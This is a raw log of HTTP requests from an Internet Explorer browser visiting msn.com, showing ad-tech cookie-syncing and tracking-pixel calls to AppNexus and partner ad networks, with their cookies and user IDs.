GET /async_usersync?cbfn=queuePixels HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/ST%dq>@yw^j5euCQe:8:mD9?m%R:zc$D>sx-m:)A?<jj%zTTUM__WSMVQKoE=7Nk$6?.-0LR'u4t[wb(fZDAmc?(<lN2]rQoV^582<?YK<'5#TXrIWF@ovQ2XM+$UPs#.YmMIoXE!Z>DI+g)7f#uXzBTJUSm4O6w4%<fwink::?T3+.3uUOs%h[H]Gm.uZ<BSZI:5Lv)UCayw^7hXPwmHZvR4E@rgkuDRxf8lYa119eGKUAY'J6xMRb9Sa^Cd2^K/xC.n#n//Tp@bX0XpfeEgbJ>ai%7Hg$8i[2eFefAuVh$>URsnA<.(b1%U^>dXvh:P-jS<(2g.RsNx/OciwJ?_g..-[IDQs6gP.H4N+giP0T+YFK8*dzgGK-4oyJtsE=72fpWZLM3.:u=3H]Tja]S2hVGzX.2lP/l0l9wBc.=HaTM#rb?#EK*RN!8e`[Gx(cI'odS:RqP+*C?2CO3S/'`DiTji1S:OC4NH(83<_Y.5'?a@ez9Y7he6C?1_Lc)JLpTxDaO-u*33Y6s!WE_Szh2Sv_er2v-d^TggqP5OHq$)E's-*1(m0(]SD[KR@iS][#>VarF%?=e#G.3aW28]64V'FR!os3UoB[]Hh?[.%Y@<7Ca79nnvR]<JmXQJUXU3t+l`P0>jeg3'oZ`iP:Kx*Zuoux$)Q?`L]TN(NMo6eRVb]k<F@2!STmEi19DhvL06.L.ZiUR-%xv][x/vI?MCo(U!FsA7JpkD:p+G:N^YMFdwH_1@9wc(!:`CKBv]Jd[nY8+eo(R$LKoLj7y%^.hpv<Bu6.9tL%O*vSKvlH+Vvb#9yJ$.kdL_?i5ZC4L=fM#t80w(UK_jO-GoE7OiOp@Ym1afEz8<-gEhs$^AJ't(cynR*M+0lYK8?fNn.?cKHst4wlY(mz8k.h=$mk@FHPU0F=n4c8yP*Q8_NtqEN+JohcVQ2(v2T8k/X3oVP%`Z_wk@Iw<O@1+f7aa3xv/fAO]H`YvUld$QA3)<0C<7LiK#Fh=j06+s?iza-2I05$M.$Yb0v
http://tg.socdm.com/aux/idsync?proto=appnexus&dsp_uid=3420843456506940071
GET /aux/idsync?proto=appnexus&dsp_uid=3420843456506940071 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: tg.socdm.com
DNT: 1
Connection: Keep-Alive
Cookie: SOC=W7M5A8Co4VEAAESA-FoAAAAA

http://37.252.172.70/vevent?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLNCaDNBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FAlhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzwbLICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocPICEwoPQ1VTVE9NX01PREVMX0lEEgDyAhoKFkMuFgBATEVBRl9OQU1FEgDyAh4KGkMyHQDwokFTVF9NT0RJRklFRBIAgAMAiAMBkAP75B6YAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQQCAUQBBisAiD6ASgCMAA4ArgEAMAEAMgEANIEDjk2MDMjRlJBMTozNzEw2gQCCAHgBAHwBPXnhDiIBQGYBQCgBf____8FAxgBwAUAyQUABQEU8D_SBQkJBQvwPAAAANgFAeAFAeoFDQoJZmxpZ2h0SWRzEgDqBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgZvcHRvdXQBJkQVCglwYWdlX3R5cGU
GET /vevent?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLNCaDNBAAAAwDWAAUBCLPE694FEOKmqPe_o62SZhinlcOK_d_RvC8qNgkVFQEC8Fi1PxHsUbgeheuxPxkAAABACtcFQCHx12SNeojBPykbDeAtkKDEPzEAAADAHoXjPzD_-NUCOJgCQINLSAJQ9eeEOFjkiDFgAGj8rlB4xNgEgAEBigEDVVNEkgUG8GOYAawCoAHYBKgBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxMYoCkwF1ZignYScsIDI4NzM1NzEsIDE1NDEwNzE0MTEpO3VmKCdyJywgMTE3NTE5MzQ5LCAxOh8ALGMnLCAyNDgzNjMwNkYeAChnJywgNjYxMjA0MkYdACBpJywgOTE4Njg6OQDwe5ICnQIhcmo2ODh3alM4ZXNMRVBYbmhEZ1lBQ0RraURFd0FEZ0FRQUJJZzB0UV9falZBbGdBWUVkb0FIQTZlQmlBQVRxSUFSaVFBUUdZQVFHZ0FRR29BUUd3QVFDNUFWdEVYcGlob01RX3dRRmJSRjZZb2FERVA4a0JBQUEFAxQ4RF9aQVEFC3hBQVBBXzRBR2VpVGoxQWNuRlBUNllBZ0NnQWdDMUFnASQEQzkJCOhEQUFqcklBaGpRQWpyWUFoamdBZ0RvQWdENEFnQ0FBd0dRQXdDWUF3R2lBeGNJejZLSEF4QUNHQUV0QQFH0ERJSFpHVm1ZWFZzZEtnRDB2SHJDN29EQ1VaU1FURTZNemN4TU9BRHBRRS6aAmEhSmctVHlRNiABMDVJZ3hJQUFvQURFek0FAlhQRFB6b0pSbEpCTVRvek56RXdRS1VCUx3cAFURDAxBQUFXHQzwbLICIDBEQUNDMUJBN0Y4RTYxREIyQzkzQ0RDRDdFMzk2MEMy2AIB4ALQwUfqAiNodHRwOi8vd3d3Lm1zbi5jb20vYXItZWcvP29jaWQ9aWVocPICEwoPQ1VTVE9NX01PREVMX0lEEgDyAhoKFkMuFgBATEVBRl9OQU1FEgDyAh4KGkMyHQDwokFTVF9NT0RJRklFRBIAgAMAiAMBkAP75B6YAxegAwGqAwDAA6wCyAMA2APQ7qEB4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQNMTk2LjEzLjEwOC4xMqgE64gDsgQQCAUQBBisAiD6ASgCMAA4ArgEAMAEAMgEANIEDjk2MDMjRlJBMTozNzEw2gQCCAHgBAHwBPXnhDiIBQGYBQCgBf____8FAxgBwAUAyQUABQEU8D_SBQkJBQvwPAAAANgFAeAFAeoFDQoJZmxpZ2h0SWRzEgDqBRYKC3Byb3ZpZGVyX2lkEgc3SEQ2NkZD6gUKCgZvcHRvdXQBJkQVCglwYWdlX3R5cGU
http://otf.msn.com/c.gif?
POST /c.gif? HTTP/1.1
Accept: */*
Content-Type: application/json; charset=utf-8
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
Origin: http://www.msn.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: otf.msn.com
Content-Length: 322
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache

http://d.turn.com/r/du/id/L2NzaWQvMS9tcGlkLzg1MjQ2ODY4/mpuid/RX-8a10618b-c1fc-4548-b0e9-a913b6e0af42
GET /r/du/id/L2NzaWQvMS9tcGlkLzg1MjQ2ODY4/mpuid/RX-8a10618b-c1fc-4548-b0e9-a913b6e0af42 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: d.turn.com
Connection: Keep-Alive
DNT: 1
Cookie: uid=3803003599113144710

http://37.252.172.70/vevent?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLrCPBMawQAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPBssgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhw8gITCg9DVVNUT01fTU9ERUxfSUQSAPICGgoWQy4WAEBMRUFGX05BTUUSAPICHgoaQzIdAPCiQVNUX01PRElGSUVEEgCAAwCIAwGQA7zhGpgDF6ADAaoDAMADrALIAwDYA9DuoQHgAwDoAwD4AwGABACSBAYvdXQvdjOYBACiBA0xOTYuMTMuMTA4LjEyqATriAOyBA8IABABGNgFIFooADAAOAK4BADABADIBADSBA44NTYyI0ZSQTE6MzY4MtoEAggB4AQB8ATsvessiAUBmAUAoAX______wEDFAHABQDJBWGAHAAA8D_SBQkJCQzwnwAA2AUB4AUB6gUnCgNyaWQSIDlmZDRlZGE4NmE5NTRmMWE4ZTQ0OGQzMTQwZjQxZTc16gUVCglwYWdlX3R5cGUSCGhvbWVwYWdl6gUNCglmbGlnaHRJZHMSAOoFFgoLcHJvdmlkZXJfaWQSBzdIRDY2RkPqBQoKBm9wdG91dBIA8AUB-gUECAAQAJAGAJgGALg
GET /vevent?referrer=http%3A%2F%2Fwww.msn.com%2Far-eg%2F%3Focid%3Diehp&e=wqT_3QLrCPBMawQAAAMA1gAFAQizxOveBRDU27Gh1IG35n4Yp5XDiv3f0bwvKjYJ-bHAwb9TzD8RYZKpBortyD8ZAAAAANej9D8hg8DKoUW20z8pZmYBAtDWPzEAAACgmZnhPzCB-dUCOJgCQPJCSAJQ7L3rLFjkiDFgAGiVsFB4l44FgAEBigEDVVNEkgUG8F6YAcoHoAH6AagBAbABALgBAcABBcgBAtABANgBAOABAPABAPoBCU1TTkVHQVIxNYoCV3VmKCdhJywgMjEzODI0MCwgMTU0MTA3MTQxMSk7dWYoJ3InLCA5NDAzNTY5MkYeACRpJywgNjM5NDgxNhwA8HuSAvkBIVdUUW15UWk1MXBrS0VPeTk2eXdZQUNEa2lERXdBRGdBUUFCSThrSlFnZm5WQWxnQVlFZG9BSEFRZUJpQUFSYUlBUmlRQVFHWUFRR2dBUUdvQVFPd0FRQzVBUWIyaXg1blp0WV93UUVHOW9zZVoyYldQOGtCQUFBBQMUOERfWkFRBQswQUFQQV80QUg1Z3lmMQkULENZQWdDZ0FnQzFBZwEkBEM5CQjwUERBQWdESUFnRFFBaGJZQWhqZ0FnRG9BZ0Q0QWdDQUF3R1FBd0NZQXdHb0E3bldtUXE2QXdsR1VrRXhPak0yT0RMZ0E2VUKaAmEhT2hHWklRaTL8ADQ1SWd4SUFBb0FER2FtWgECWG5KUHpvSlJsSkJNVG96TmpneVFLVUJTHbgAVREMDEFBQVcdDPBssgIgMERBQ0MxQkE3RjhFNjFEQjJDOTNDRENEN0UzOTYwQzLYAgHgApjBHuoCI2h0dHA6Ly93d3cubXNuLmNvbS9hci1lZy8_b2NpZD1pZWhw8gITCg9DVVNUT01fTU9ERUxfSUQSAPICGgoWQy4WAEBMRUFGX05BTUUSAPICHgoaQzIdAPCiQVNUX01PRElGSUVEEgCAAwCIAwGQA7zhGpgDF6ADAaoDAMADrALIAwDYA9DuoQHgAwDoAwD4AwGABACSBAYvdXQvdjOYBACiBA0xOTYuMTMuMTA4LjEyqATriAOyBA8IABABGNgFIFooADAAOAK4BADABADIBADSBA44NTYyI0ZSQTE6MzY4MtoEAggB4AQB8ATsvessiAUBmAUAoAX______wEDFAHABQDJBWGAHAAA8D_SBQkJCQzwnwAA2AUB4AUB6gUnCgNyaWQSIDlmZDRlZGE4NmE5NTRmMWE4ZTQ0OGQzMTQwZjQxZTc16gUVCglwYWdlX3R5cGUSCGhvbWVwYWdl6gUNCglmbGlnaHRJZHMSAOoFFgoLcHJvdmlkZXJfaWQSBzdIRDY2RkPqBQoKBm9wdG91dBIA8AUB-gUECAAQAJAGAJgGALg
http://ib.adnxs.com/async_usersync_file
GET /async_usersync_file HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.msn.com/ar-eg/?ocid=iehp
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ(R@zDQ/VMy4G=jT*VJjJC.`YUi%4S#@F2`iG!A?rMYp^'B6WW?$c1((J`TfL7E<mn24=`gGN`%p$05(b-1Y.K$V_yv?$jh_>2/8vhY(TWB9W]KNdA<LxwW5thks+rKANrn0734j)_F'w+vTJ.u.fWm_-3!Da)DpD'6IEA$zMj_lTOUG7^uke1VKGEk?0^*bgLk%Gkn:t4q>HR35uME#G(/I=U_'=^9.`Lmbs'>mWoAgmye)COs)KK_z??G4HnwS26Z`.#oM`pz0n:$DtD0V1<*FbU1wN3Fd*hfN[Q=7Yd<D34dS5J%**C?*`:yZ'Pm!8T5!d+^..>Ev!RcC5:gVBfPm>WBNma)$zmb88k:A5eR(tK+hSUagm4*SwJf.)UeLG@*+8kL>sv`3V.33B4bnrhN:%MJ:qw[X9k26P%:XgGD6J55l2]LW=oWfKJu_K191e4TuqNNpi:$J#-#tGrc9#DZ8AhUSP0/3[c<?X^[@DgH_sT'gOa*)N*vU>7gE^rt@o@-BMXwuKSXGoT$`q0/xQ<?)P3Mv(xTS<>UsFjt=[/A'p(`.'XuB#4pH:*eWGgL[%W_abzi49NTU)Btvb3jNno_ALm[?Uv9B5U#o6Kh90Shsc(+`y-eJ)f4RVP.$vxU<QSXCmqBWg_*CU%'@NEk?qQFjzz)T[Qx/$IJ'xy@Z]d1/?5OHi4_K%^/^tKt2f>fc2d:8B.KA%SL[#u9/-K-Oe8IYOoA57rGUVb^$FS'M.J:WMG]nBmIocKw#EK-TtM]lLh99Y5jka0s-_zLj(qScsCa6U9g1p2'eRU-m2KgO:KF$qnP'V4@Pd]H[+>xr0!-#tbr[G[+L6Vs(O<cI['_@1fjgnwUMW*Nj:D3O*>6b(N'3!%qYWCzW+2cdZY6e`0tOQqL<]BWSIEwR%!%_L<m@MZP<Ly!iEhDO`iPdnv7J4h.Ur>KURP+@0W(*F]9KpMK4Mm8F?UCpjXB=X`YI#SjTt<cZz6)OJ4oy16D]WIp28Y:X]IMdk>!l#Aa39>9-UY'dV%-dfgt%Cut8H
http://uipglob.semasio.net/appnexusdata/1/get?stype=sync&sExtCookieId=3420843456506940071&sInitiator=external
GET /appnexusdata/1/get?stype=sync&sExtCookieId=3420843456506940071&sInitiator=external HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: uipglob.semasio.net
DNT: 1
Connection: Keep-Alive

http://vop.sundaysky.com/sync/dmp?redirect=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D437%26code%3D%24%7Bssky_uuid%7D
GET /sync/dmp?redirect=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D437%26code%3D%24%7Bssky_uuid%7D HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: vop.sundaysky.com
DNT: 1
Connection: Keep-Alive

http://uipglob.semasio.net/appnexusdata/1/get2?stype=sync&sExtCookieId=3420843456506940071&sInitiator=external
GET /appnexusdata/1/get2?stype=sync&sExtCookieId=3420843456506940071&sInitiator=external HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: uipglob.semasio.net
DNT: 1
Connection: Keep-Alive
Cookie: SEUNCY=72029213A0AC0538

http://pixel.everesttech.net/2368/gr?url=http%3a//ib.adnxs.com/setuid%3fentity%3d51%26code%3d__EFGCK__
GET /2368/gr?url=http%3a//ib.adnxs.com/setuid%3fentity%3d51%26code%3d__EFGCK__ HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: pixel.everesttech.net
DNT: 1
Connection: Keep-Alive
Cookie: everest_g_v2=g_surferid~W6zZKQAAAGL_GEnI; ev_sync_ax=20181004; gglck=CAESEFdysVZYRSRKz_9eKBcLz_I

http://a248.e.akamai.net/appnexus.download.akamai.com/89298/adnexus-prod/1x1.gif
GET /appnexus.download.akamai.com/89298/adnexus-prod/1x1.gif HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: a248.e.akamai.net
DNT: 1
Connection: Keep-Alive

http://anp.valassisdigital.io/sn.ashx
GET /sn.ashx HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: anp.valassisdigital.io
DNT: 1
Connection: Keep-Alive

http://global.ib-ibi.com/image.sbxx?go=242840&pid=260&xid=3420843456506940071&id1=
GET /image.sbxx?go=242840&pid=260&xid=3420843456506940071&id1= HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: global.ib-ibi.com
DNT: 1
Connection: Keep-Alive

http://185.33.223.202/setuid?entity=51&code=W6zZKQAAAGL_GEnI.CAESEFdysVZYRSRKz_9eKBcLz_I
GET /setuid?entity=51&code=W6zZKQAAAGL_GEnI.CAESEFdysVZYRSRKz_9eKBcLz_I HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ(R@zDQ/VMy4G=jT*VJjJC.`YUi%4S#@F2`iG!A?rMYp^'B6WW?$c1((J`TfL7E<mn24=`gGN`%p$05(b-1Y.K$V_yv?$jh_>2/8vhY(TWB9W]KNdA<LxwW5thks+rKANrn0734j)_F'w+vTJ.u.fWm_-3!Da)DpD'6IEA$zMj_lTOUG7^uke1VKGEk?0^*bgLk%Gkn:t4q>HR35uME#G(/I=U_'=^9.`Lmbs'>mWoAgmye)COs)KK_z??G4HnwS26Z`.#oM`pz0n:$DtD0V1<*FbU1wN3Fd*hfN[Q=7Yd<D34dS5J%**C?*`:yZ'Pm!8T5!d+^..>Ev!RcC5:gVBfPm>WBNma)$zmb88k:A5eR(tK+hSUagm4*SwJf.)UeLG@*+8kL>sv`3V.33B4bnrhN:%MJ:qw[X9k26P%:XgGD6J55l2]LW=oWfKJu_K191e4TuqNNpi:$J#-#tGrc9#DZ8AhUSP0/3[c<?X^[@DgH_sT'gOa*)N*vU>7gE^rt@o@-BMXwuKSXGoT$`q0/xQ<?)P3Mv(xTS<>UsFjt=[/A'p(`.'XuB#4pH:*eWGgL[%W_abzi49NTU)Btvb3jNno_ALm[?Uv9B5U#o6Kh90Shsc(+`y-eJ)f4RVP.$vxU<QSXCmqBWg_*CU%'@NEk?qQFjzz)T[Qx/$IJ'xy@Z]d1/?5OHi4_K%^/^tKt2f>fc2d:8B.KA%SL[#u9/-K-Oe8IYOoA57rGUVb^$FS'M.J:WMG]nBmIocKw#EK-TtM]lLh99Y5jka0s-_zLj(qScsCa6U9g1p2'eRU-m2KgO:KF$qnP'V4@Pd]H[+>xr0!-#tbr[G[+L6Vs(O<cI['_@1fjgnwUMW*Nj:D3O*>6b(N'3!%qYWCzW+2cdZY6e`0tOQqL<]BWSIEwR%!%_L<m@MZP<Ly!iEhDO`iPdnv7J4h.Ur>KURP+@0W(*F]9KpMK4Mm8F?UCpjXB=X`YI#SjTt<cZz6)OJ4oy16D]WIp28Y:X]IMdk>!
http://vop.sundaysky.com/sync/dmp?redirect=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D437%26code%3D%24%7Bssky_uuid%7D&_cvt=t
GET /sync/dmp?redirect=http%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D437%26code%3D%24%7Bssky_uuid%7D&_cvt=t HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: vop.sundaysky.com
DNT: 1
Connection: Keep-Alive
Cookie: sskyu=d5.5daa88203c65493bbeb36e17d60944a0; sskyCreationTime=1541071411496

http://gocm.c.appier.net/adnxs
GET /adnxs HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: gocm.c.appier.net
DNT: 1
Connection: Keep-Alive
Cookie: _auid=8fXNWb3aAK2bmHFzY06zWw

http://aa.agkn.com/adscores/g.pixel?sid=9204241487&adnxsid=3420843456506940071&_sd=ib
GET /adscores/g.pixel?sid=9204241487&adnxsid=3420843456506940071&_sd=ib HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: aa.agkn.com
DNT: 1
Connection: Keep-Alive

http://ib.adnxs.com/setuid?entity=225&code=R1B342_AD6D1B5E_21F145BB
GET /setuid?entity=225&code=R1B342_AD6D1B5E_21F145BB HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: ib.adnxs.com
DNT: 1
Connection: Keep-Alive
Cookie: icu=ChgImswnEAoYASABKAEws8Tr3gU4AUABSAEQs8Tr3gUYAA..; uuid2=3420843456506940071; anj=dTM7k!M4/S?iJ(R@zDQ/VMy4G=jT*VJjJC.`YUi%4S#@F2`iG!A?rMYp^'B6WW?$c1((J`TfL7E<mn24=`gGN`%p$05(b-1Y.K$V_yv?$jh_>2/8vhY(TWB9W]KNdA<LxwW5thks+rKANrn0734j)_F'w+vTJ.u.fWm_-3!Da)DpD'6IEA$zMj_lTOUG7^uke1VKGEk?0^*bgLk%Gkn:t4q>HR35uME#G(/I=U_'=^9.`Lmbs'>mWoAgmye)COs)KK_z??G4HnwS26Z`.#oM`pz0n:$DtD0V1<*FbU1wN3Fd*hfN[Q=7Yd<D34dS5J%**C?*`:yZ'Pm!8T5!d+^..>Ev!RcC5:gVBfPm>WBNma)$zmb88k:A5eR(tK+hSUagm4*SwJf.)UeLG@*+8kL>sv`3V.33B4bnrhN:%MJ:qw[X9k26P%:XgGD6J55l2]LW=oWfKJu_K191e4TuqNNpi:$J#-#tGrc9#DZ8AhUSP0/3[c<?X^[@DgH_sT'gOa*)N*vU>7gE^rt@o@-BMXwuKSXGoT$`q0/xQ<?)P3Mv(xTS<>UsFjt=[/A'p(`.'XuB#4pH:*eWGgL[%W_abzi49NTU)Btvb3jNno_ALm[?Uv9B5U#o6Kh90Shsc(+`y-eJ)f4RVP.$vxU<QSXCmqBWg_*CU%'@NEk?qQFjzz)T[Qx/$IJ'xy@Z]d1/?5OHi4_K%^/^tKt2f>fc2d:8B.KA%SL[#u9/-K-Oe8IYOoA57rGUVb^$FS'M.J:WMG]nBmIocKw#EK-TtM]lLh99Y5jka0s-_zLj(qScsCa6U9g1p2'eRU-m2KgO:KF$qnP'V4@Pd]H[+>xr0!-#tbr[G[+L6Vs(O<cI['_@1fjgnwUMW*Nj:D3O*>6b(N'3!%qYWCzW+2cdZY6e`0tOQqL<]BWSIEwR%!%_L<m@MZP<Ly!iEhDO`iPdnv7J4h.Ur>KURP+@0W(*F]9KpMK4Mm8F?UCpjXB=X`YI#SjTt<cZz6
http://185.33.223.202/setuid?entity=437&code=d5.5daa88203c65493bbeb36e17d60944a0
GET /setuid?entity=437&code=d5.5daa88203c65493bbeb36e17d60944a0 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://acdn.adnxs.com/dmp/async_usersync.html
Accept-Language: fr-FR
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
DNT: 1
